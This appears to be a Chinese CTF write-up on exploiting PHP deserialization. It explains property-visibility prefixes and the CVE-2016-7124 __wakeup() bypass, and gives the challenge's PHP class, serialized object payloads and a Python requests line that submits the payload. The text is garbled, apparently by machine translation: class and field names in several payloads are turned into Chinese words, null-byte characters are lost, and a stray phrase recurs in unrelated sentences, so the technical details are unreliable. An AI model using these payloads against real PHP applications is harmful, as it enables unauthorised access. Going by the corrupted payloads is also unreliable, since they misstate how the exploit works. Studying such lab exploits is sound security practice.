0x00知识点
1:直接扫描目录获取网站源码。
2:序列化时public、protected、private的区别
protected声明的数组是受保护数组,在声明的类和该类的基类中可见,但在该类的对象实例中不可见。 因此,当受保护数组的数组名被序列化时,数组名会以*为前缀。 这里的字符代表 ASCII 码为 0 的字符(不可见字符),而不是组合。 这也许可以解释为什么如果直接在URL上传递*username会报错,因为实际上不是,它只是用来替换ASCII值为0的字符,必须使用python来传递该值。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上的前缀。字符串长度也包括所加前缀的长度。其中 字符也是计算长度的。
3:绕过__wakeup()方法
经常用来解决问题的一个函数
(CVE-2016-7124)
功能:与__sleep()函数相反,__sleep()函数是在序列序列化过程中手动调用的。 __wakeup() 函数在反序列化期间手动调用。 绕过:当反序列化字符串时网站加前缀显示源码,如果属性个数小于实际属性个数,则跳过__wakeup函数的执行。
0x01 问题解决
关键代码:
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo 'NO!!!hacker!!!'; echo 'You name is: '; echo $this->username;echo ''; echo 'You password is: '; echo $this->password;echo ''; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo 'hello my friend~~sorry i can't give you the flag!'; die(); } } } ?>
总体思路是通过反序列化的方式执行__destruct()中的echo$flag。 两个条件$this->password==100,$this->username=='admin'。
直接反序列化代码
结果:
O:4:'姓名':2:{s:14:'姓名用户名';s:5:'管理员';s:14:'姓名密码';i:100;}
name旁边的2表示类中有2个属性,但是如果我们把2改为3,__wakeup()函数就会被绕过。而且因为是私有声明,所以我们需要在类名后面添加前缀和数组名称。
O:4:'Name':3:{s:14:'Nameusername';s:5:'admin';s:14:'Namepassword';i:100;}
注意:
这里使用python提交,因为是私有类。
类名和数组名后面会添加前缀。
这里的字符代表 ASCII 码为 0 的字符(不可见字符),而不是组合。 这也许可以解释为什么如果直接在URL上传递*username会报错,因为实际上不是网站加前缀显示源码,它只是用来替换ASCII值为0的字符,必须使用python来传递该值。
经验:
import requests url ='' html = requests.get(url+'?select=O:4:'Name':3:{s:14:'Nameusername';s:5:'admin';s:14:'Namepassword';i:100;}') print(html.text)
经验2:
如果不使用python提交
将出现在 url 栏中
有空格字符,复制时会丢失。
加
有效负载:
O:4:'姓名':3:{s:14:'姓名用户名';s:5:'管理员';s:14:'姓名密码';i:100;}
参考链接: